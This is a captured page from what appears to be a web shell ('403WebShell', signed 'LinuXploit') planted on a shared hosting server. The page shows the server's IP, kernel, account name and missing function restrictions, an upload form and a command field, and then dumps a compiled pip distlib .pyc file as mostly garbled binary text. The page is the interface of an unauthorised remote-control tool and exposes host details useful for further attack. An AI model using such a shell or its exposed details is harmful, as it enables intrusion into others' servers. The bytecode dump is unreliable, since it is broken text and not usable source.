Done ! 403WebShell
403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.150
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3.6/site-packages/pip/_vendor/distlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /lib/python3.6/site-packages/pip/_vendor/distlib/__pycache__/version.cpython-36.pyc
3

�Pf�\�@sZdZddlZddlZddlmZddddd	d
ddgZeje�ZGd
d�de	�Z
Gdd�de�ZGdd�de�Z
ejd�Zdd�ZeZGdd�de�Zdd�ZGdd�de
�Zejd�dfejd�dfejd�dfejd�dfejd �d!fejd"�d!fejd#�d$fejd%�d&fejd'�d(fejd)�d*ff
Zejd+�dfejd,�dfejd-�d$fejd#�d$fejd.�dffZejd/�Zd0d1�Zd2d3�Zejd4ej�Zd5d5d6d5d7ddd8�Zd9d:�ZGd;d�de�ZGd<d�de
�Zejd=ej�Z d>d?�Z!d@dA�Z"GdBd	�d	e�Z#GdCd
�d
e
�Z$GdDdE�dEe�Z%e%eee�e%eedFdG��e%e"e$e�dH�Z&e&dIe&dJ<dKd�Z'dS)Lz~
Implementation of a flexible versioning scheme providing support for PEP-440,
setuptools-compatible and semantic versioning.
�N�)�string_types�NormalizedVersion�NormalizedMatcher�
LegacyVersion�
LegacyMatcher�SemanticVersion�SemanticMatcher�UnsupportedVersionError�
get_schemec@seZdZdZdS)r
zThis is an unsupported version.N)�__name__�
__module__�__qualname__�__doc__�rr�/usr/lib/python3.6/version.pyr
sc@sxeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zedd��ZdS)�VersioncCs@|j�|_}|j|�|_}t|t�s,t�t|�dks<t�dS)Nr)�strip�_string�parse�_parts�
isinstance�tuple�AssertionError�len)�self�s�partsrrr�__init__szVersion.__init__cCstd��dS)Nzplease implement in a subclass)�NotImplementedError)rrrrrr$sz
Version.parsecCs$t|�t|�kr td||f��dS)Nzcannot compare %r and %r)�type�	TypeError)r�otherrrr�_check_compatible'szVersion._check_compatiblecCs|j|�|j|jkS)N)r#r)rr"rrr�__eq__+s
zVersion.__eq__cCs|j|�S)N)r$)rr"rrr�__ne__/szVersion.__ne__cCs|j|�|j|jkS)N)r#r)rr"rrr�__lt__2s
zVersion.__lt__cCs|j|�p|j|�S)N)r&r$)rr"rrr�__gt__6szVersion.__gt__cCs|j|�p|j|�S)N)r&r$)rr"rrr�__le__9szVersion.__le__cCs|j|�p|j|�S)N)r'r$)rr"rrr�__ge__<szVersion.__ge__cCs
t|j�S)N)�hashr)rrrr�__hash__@szVersion.__hash__cCsd|jj|jfS)Nz%s('%s'))�	__class__rr)rrrr�__repr__CszVersion.__repr__cCs|jS)N)r)rrrr�__str__FszVersion.__str__cCstd��dS)NzPlease implement in subclasses.)r)rrrr�
is_prereleaseIszVersion.is_prereleaseN)rr
rrrr#r$r%r&r'r(r)r+r-r.�propertyr/rrrrrsrc	@s�eZdZdZejd�Zejd�Zejd�Zdd�dd�dd�d	d�d
d�dd�dd�d
d�d�Z	dd�Z
dd�Zedd��Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd �ZdS)!�MatcherNz^(\w[\s\w'.-]*)(\((.*)\))?z'^(<=|>=|<|>|!=|={2,3}|~=)?\s*([^\s,]+)$z
^\d+(\.\d+)*$cCs||kS)Nr)�v�c�prrr�<lambda>WszMatcher.<lambda>cCs||kS)Nr)r2r3r4rrrr5XscCs||kp||kS)Nr)r2r3r4rrrr5YscCs||kp||kS)Nr)r2r3r4rrrr5ZscCs||kS)Nr)r2r3r4rrrr5[scCs||kS)Nr)r2r3r4rrrr5\scCs||kp||kS)Nr)r2r3r4rrrr5^scCs||kS)Nr)r2r3r4rrrr5_s)�<�>z<=z>=z==z===z~=z!=c
CsJ|jdkrtd��|j�|_}|jj|�}|s<td|��|jd�}|dj�|_|jj�|_	g}|d�r<dd�|dj
d�D�}x�|D]�}|jj|�}|s�td	||f��|j�}|dp�d
}|d}|jd��r|dkr�td|��|dd�d}}	|j
j|��s(|j|�n|j|�d}}	|j|||	f�q�Wt|�|_dS)NzPlease specify a version classz
Not valid: %r�r�cSsg|]}|j��qSr)r)�.0r3rrr�
<listcomp>nsz$Matcher.__init__.<locals>.<listcomp>�,zInvalid %r in %rz~=rz.*�==�!=z#'.*' not allowed for %r constraintsTF)r=r>���)�
version_class�
ValueErrorrr�dist_re�match�groups�name�lower�key�split�comp_re�endswith�num_re�appendrr)
rr�mrDZclistZconstraintsr3�opZvn�prefixrrrrbs:



zMatcher.__init__cCszt|t�r|j|�}x`|jD]V\}}}|jj|�}t|t�rFt||�}|sbd||jjf}t	|��||||�sdSqWdS)z�
        Check if the provided version matches the constraints.

        :param version: The version to match against this instance.
        :type version: String or :class:`Version` instance.
        z%r not implemented for %sFT)
rrr@r�
_operators�get�getattrr,rr)r�version�operator�
constraintrO�f�msgrrrrC�s



z
Matcher.matchcCs6d}t|j�dkr2|jdddkr2|jdd}|S)Nrr�==�===)rXrY)rr)r�resultrrr�
exact_version�s zMatcher.exact_versioncCs0t|�t|�ks|j|jkr,td||f��dS)Nzcannot compare %s and %s)r rEr!)rr"rrrr#�szMatcher._check_compatiblecCs"|j|�|j|jko |j|jkS)N)r#rGr)rr"rrrr$�s
zMatcher.__eq__cCs|j|�S)N)r$)rr"rrrr%�szMatcher.__ne__cCst|j�t|j�S)N)r*rGr)rrrrr+�szMatcher.__hash__cCsd|jj|jfS)Nz%s(%r))r,rr)rrrrr-�szMatcher.__repr__cCs|jS)N)r)rrrrr.�szMatcher.__str__)rr
rr@�re�compilerBrIrKrPrrCr0r[r#r$r%r+r-r.rrrrr1Ns*


%r1zk^v?(\d+!)?(\d+(\.\d+)*)((a|b|c|rc)(\d+))?(\.(post)(\d+))?(\.(dev)(\d+))?(\+([a-zA-Z\d]+(\.[a-zA-Z\d]+)?))?$cCs�|j�}tj|�}|s"td|��|j�}tdd�|djd�D��}x(t|�dkrn|ddkrn|dd�}qHW|ds~d}nt|d�}|dd�}|d	d
�}|dd�}|d
}|dkr�f}n|dt|d�f}|dkr�f}n|dt|d�f}|dk�r
f}n|dt|d�f}|dk�r.f}nLg}	x>|jd�D]0}
|
j	��rZdt|
�f}
nd|
f}
|	j
|
��q>Wt|	�}|�s�|�r�|�r�d}nd}|�s�d}|�s�d}||||||fS)NzNot a valid version: %scss|]}t|�VqdS)N)�int)r:r2rrr�	<genexpr>�sz_pep_440_key.<locals>.<genexpr>r�.r����	�
��
�a�z�_�final���rl)NN)NN)NNrl)rhrl)ri)rj)rk)r�PEP440_VERSION_RErCr
rDrrHrr^�isdigitrL)rrMrDZnumsZepoch�preZpost�devZlocalr�partrrr�_pep_440_key�sT



rrc@s6eZdZdZdd�Zedddddg�Zed	d
��ZdS)raIA rational version.

    Good:
        1.2         # equivalent to "1.2.0"
        1.2.0
        1.2a1
        1.2.3a2
        1.2.3b1
        1.2.3c1
        1.2.3.4
        TODO: fill this out

    Bad:
        1           # minimum two numbers
        1.2a        # release level must have a release serial
        1.2.3b
    cCs<t|�}tj|�}|j�}tdd�|djd�D��|_|S)Ncss|]}t|�VqdS)N)r^)r:r2rrrr_sz*NormalizedVersion.parse.<locals>.<genexpr>rr`)�_normalized_keyrmrCrDrrH�_release_clause)rrrZrMrDrrrrs

zNormalizedVersion.parserh�br3�rcrpcst�fdd��jD��S)Nc3s |]}|r|d�jkVqdS)rN)�PREREL_TAGS)r:�t)rrrr_sz2NormalizedVersion.is_prerelease.<locals>.<genexpr>)�anyr)rr)rrr/szNormalizedVersion.is_prereleaseN)	rr
rrr�setrwr0r/rrrrr�scCs>t|�}t|�}||krdS|j|�s*dSt|�}||dkS)NTFr`)�str�
startswithr)�x�y�nrrr�
_match_prefix"s
r�c	@sneZdZeZddddddddd	�Zd
d�Zdd
�Zdd�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)r�_match_compatible�	_match_lt�	_match_gt�	_match_le�	_match_ge�	_match_eq�_match_arbitrary�	_match_ne)z~=r6r7z<=z>=z==z===z!=cCsV|rd|ko|jd}n|jdo,|jd}|rN|jjdd�d}|j|�}||fS)N�+rrrlrlrl)rrrHr@)rrSrUrOZstrip_localrrrr�
_adjust_local<s
zNormalizedMatcher._adjust_localcCsD|j|||�\}}||krdS|j}djdd�|D��}t||�S)NFr`cSsg|]}t|��qSr)r{)r:�irrrr;Osz/NormalizedMatcher._match_lt.<locals>.<listcomp>)r�rt�joinr�)rrSrUrO�release_clause�pfxrrrr�JszNormalizedMatcher._match_ltcCsD|j|||�\}}||krdS|j}djdd�|D��}t||�S)NFr`cSsg|]}t|��qSr)r{)r:r�rrrr;Wsz/NormalizedMatcher._match_gt.<locals>.<listcomp>)r�rtr�r�)rrSrUrOr�r�rrrr�RszNormalizedMatcher._match_gtcCs|j|||�\}}||kS)N)r�)rrSrUrOrrrr�ZszNormalizedMatcher._match_lecCs|j|||�\}}||kS)N)r�)rrSrUrOrrrr�^szNormalizedMatcher._match_gecCs.|j|||�\}}|s ||k}n
t||�}|S)N)r�r�)rrSrUrOrZrrrr�bs


zNormalizedMatcher._match_eqcCst|�t|�kS)N)r{)rrSrUrOrrrr�jsz"NormalizedMatcher._match_arbitrarycCs0|j|||�\}}|s ||k}nt||�}|S)N)r�r�)rrSrUrOrZrrrr�ms

zNormalizedMatcher._match_necCsf|j|||�\}}||krdS||kr*dS|j}t|�dkrH|dd�}djdd�|D��}t||�S)NTFrr`cSsg|]}t|��qSr)r{)r:r�rrrr;�sz7NormalizedMatcher._match_compatible.<locals>.<listcomp>rl)r�rtrr�r�)rrSrUrOr�r�rrrr�usz#NormalizedMatcher._match_compatibleN)rr
rrr@rPr�r�r�r�r�r�r�r�r�rrrrr-s$z[.+-]$r8z^[.](\d)z0.\1z^[.-]z
^\((.*)\)$z\1z^v(ersion)?\s*(\d+)z\2z^r(ev)?\s*(\d+)z[.]{2,}r`z\b(alfa|apha)\b�alphaz\b(pre-alpha|prealpha)\bz	pre.alphaz	\(beta\)$�betaz
^[:~._+-]+z
[,*")([\]]z[~:+_ -]z\.$z
(\d+(\.\d+)*)cCsZ|j�j�}xtD]\}}|j||�}qW|s2d}tj|�}|sJd}|}n�|j�djd�}dd�|D�}xt|�dkr�|j	d�qlWt|�dkr�||j
�d�}n8djdd�|dd�D��||j
�d�}|dd�}djd	d�|D��}|j�}|�rxtD]\}}|j||�}�qW|�s*|}nd
|k�r8dnd}|||}t
|��sVd}|S)
z�
    Try to suggest a semantic form for a version for which
    _suggest_normalized_version couldn't come up with anything.
    z0.0.0rr`cSsg|]}t|��qSr)r^)r:r�rrrr;�sz-_suggest_semantic_version.<locals>.<listcomp>�NcSsg|]}t|��qSr)r{)r:r�rrrr;�scSsg|]}t|��qSr)r{)r:r�rrrr;�srp�-r�)rrF�
_REPLACEMENTS�sub�_NUMERIC_PREFIXrCrDrHrrL�endr��_SUFFIX_REPLACEMENTS�	is_semver)rrZZpat�replrMrO�suffix�seprrr�_suggest_semantic_version�s:
,
r�cCslyt|�|Stk
r YnX|j�}xdBD]\}}|j||�}q0Wtjdd|�}tjdd|�}tjdd|�}tjdd|�}tjdd|�}|jd��r�|d d!�}tjd"d|�}tjd#d$|�}tjd%d&|�}tjd'd|�}tjd(d)|�}tjd*d)|�}tjd+d
|�}tjd,d-|�}tjd.d&|�}tjd/d0|�}tjd1d2|�}yt|�Wntk
�rfd!}YnX|S)Ca�Suggest a normalized version close to the given version string.

    If you have a version string that isn't rational (i.e. NormalizedVersion
    doesn't like it) then you might be able to get an equivalent (or close)
    rational version from this function.

    This does a number of simple normalizations to the given string, based
    on observation of versions currently in use on PyPI. Given a dump of
    those version during PyCon 2009, 4287 of them:
    - 2312 (53.93%) match NormalizedVersion without change
      with the automatic suggestion
    - 3474 (81.04%) match when using this suggestion method

    @param s {str} An irrational version string.
    @returns A rational version string, or None, if couldn't determine one.
    �-alpharh�-betarur�r�rvr3�-finalr8�-pre�-release�.release�-stabler�r`rj� �.finalrkzpre$Zpre0zdev$Zdev0z([abc]|rc)[\-\.](\d+)$z\1\2z[\-\.](dev)[\-\.]?r?(\d+)$z.\1\2z[.~]?([abc])\.?z\1r2rNz\b0+(\d+)(?!\d)z(\d+[abc])$z\g<1>0z\.?(dev-r|dev\.r)\.?(\d+)$z.dev\2z-(a|b|c)(\d+)$z[\.\-](dev|devel)$z.dev0z(?![\.\-])dev$z(final|stable)$z\.?(r|-|-r)\.?(\d+)$z.post\2z\.?(dev|git|bzr)\.?(\d+)$z\.?(pre|preview|-c)(\d+)$zc\g<2>zp(\d+)$z.post\1�r�rh�r�ru�r�rh�r�ru�rvr3�r�r8�r�r3�r�r8�r�r8�r�r8�r�r`�rjr`�r�r8�r�r8�rkr8)r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�)rsr
rF�replacer\r�r|)rZrsZorigr�rrr�_suggest_normalized_version�sH	
r�z([a-z]+|\d+|[\.-])r3zfinal-�@)roZpreviewr�rvrpr8r`cCs~dd�}g}xh||�D]\}|jd�rh|dkrJx|rH|ddkrH|j�q.Wx|rf|d	dkrf|j�qLW|j|�qWt|�S)
NcSsxg}xdtj|j��D]R}tj||�}|rd|dd�koBdknrT|jd�}nd|}|j|�qW|jd�|S)N�0r�9��*z*final)�
_VERSION_PARTrHrF�_VERSION_REPLACErQ�zfillrL)rrZr4rrr�	get_partsIs 
z_legacy_key.<locals>.get_partsr�z*finalrz*final-Z00000000rlrl)r|�poprLr)rr�rZr4rrr�_legacy_keyHs

r�c@s eZdZdd�Zedd��ZdS)rcCst|�S)N)r�)rrrrrrcszLegacyVersion.parsecCs:d}x0|jD]&}t|t�r|jd�r|dkrd}PqW|S)NFr�z*finalT)rrrr|)rrZr}rrrr/fszLegacyVersion.is_prereleaseN)rr
rrr0r/rrrrrbsc@s4eZdZeZeej�Zded<ej	d�Z
dd�ZdS)rr�z~=z^(\d+(\.\d+)*)cCs`||krdS|jjt|��}|s2tjd||�dS|j�d}d|krV|jdd�d}t||�S)NFzACannot compute compatible match for version %s  and constraint %sTrr`r)�
numeric_rerCr{�loggerZwarningrD�rsplitr�)rrSrUrOrMrrrrr�yszLegacyMatcher._match_compatibleN)rr
rrr@�dictr1rPr\r]r�r�rrrrrqs


zN^(\d+)\.(\d+)\.(\d+)(-[a-z0-9]+(\.[a-z0-9-]+)*)?(\+[a-z0-9]+(\.[a-z0-9-]+)*)?$cCs
tj|�S)N)�
_SEMVER_RErC)rrrrr��sr�c	Csndd�}t|�}|st|��|j�}dd�|dd�D�\}}}||dd�||dd�}}|||f||fS)	NcSs8|dkr|f}n$|dd�jd�}tdd�|D��}|S)Nrr`cSs"g|]}|j�r|jd�n|�qS)r�)rnr�)r:r4rrrr;�sz5_semantic_key.<locals>.make_tuple.<locals>.<listcomp>)rHr)rZabsentrZrrrr�
make_tuple�s
z!_semantic_key.<locals>.make_tuplecSsg|]}t|��qSr)r^)r:r�rrrr;�sz!_semantic_key.<locals>.<listcomp>r��|�r�)r�r
rD)	rr�rMrD�major�minorZpatchroZbuildrrr�
_semantic_key�s
r�c@s eZdZdd�Zedd��ZdS)rcCst|�S)N)r�)rrrrrr�szSemanticVersion.parsecCs|jdddkS)Nrrr�)r)rrrrr/�szSemanticVersion.is_prereleaseN)rr
rrr0r/rrrrr�sc@seZdZeZdS)r	N)rr
rrr@rrrrr	�sc@s6eZdZddd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�
VersionSchemeNcCs||_||_||_dS)N)rG�matcher�	suggester)rrGr�r�rrrr�szVersionScheme.__init__cCs2y|jj|�d}Wntk
r,d}YnX|S)NTF)r�r@r
)rrrZrrr�is_valid_version�s
zVersionScheme.is_valid_versioncCs0y|j|�d}Wntk
r*d}YnX|S)NTF)r�r
)rrrZrrr�is_valid_matcher�s

zVersionScheme.is_valid_matchercCs|jd|�S)z:
        Used for processing some metadata fields
        zdummy_name (%s))r�)rrrrr�is_valid_constraint_list�sz&VersionScheme.is_valid_constraint_listcCs|jdkrd}n
|j|�}|S)N)r�)rrrZrrr�suggest�s

zVersionScheme.suggest)N)rr
rrr�r�r�r�rrrrr��s

r�cCs|S)Nr)rrrrrr5�sr5)�
normalized�legacyZsemanticr��defaultcCs|tkrtd|��t|S)Nzunknown scheme name: %r)�_SCHEMESrA)rErrrr�s)(rZloggingr\�compatr�__all__Z	getLoggerrr�rAr
�objectrr1r]rmrrrsrr�rr�r�r�r�r��Ir�r�r�rrr�r�r�rr	r�r�rrrrr�<module>	sz
1k
=$W
.r	$


Youez - 2016 - github.com/yon3zu
LinuXploit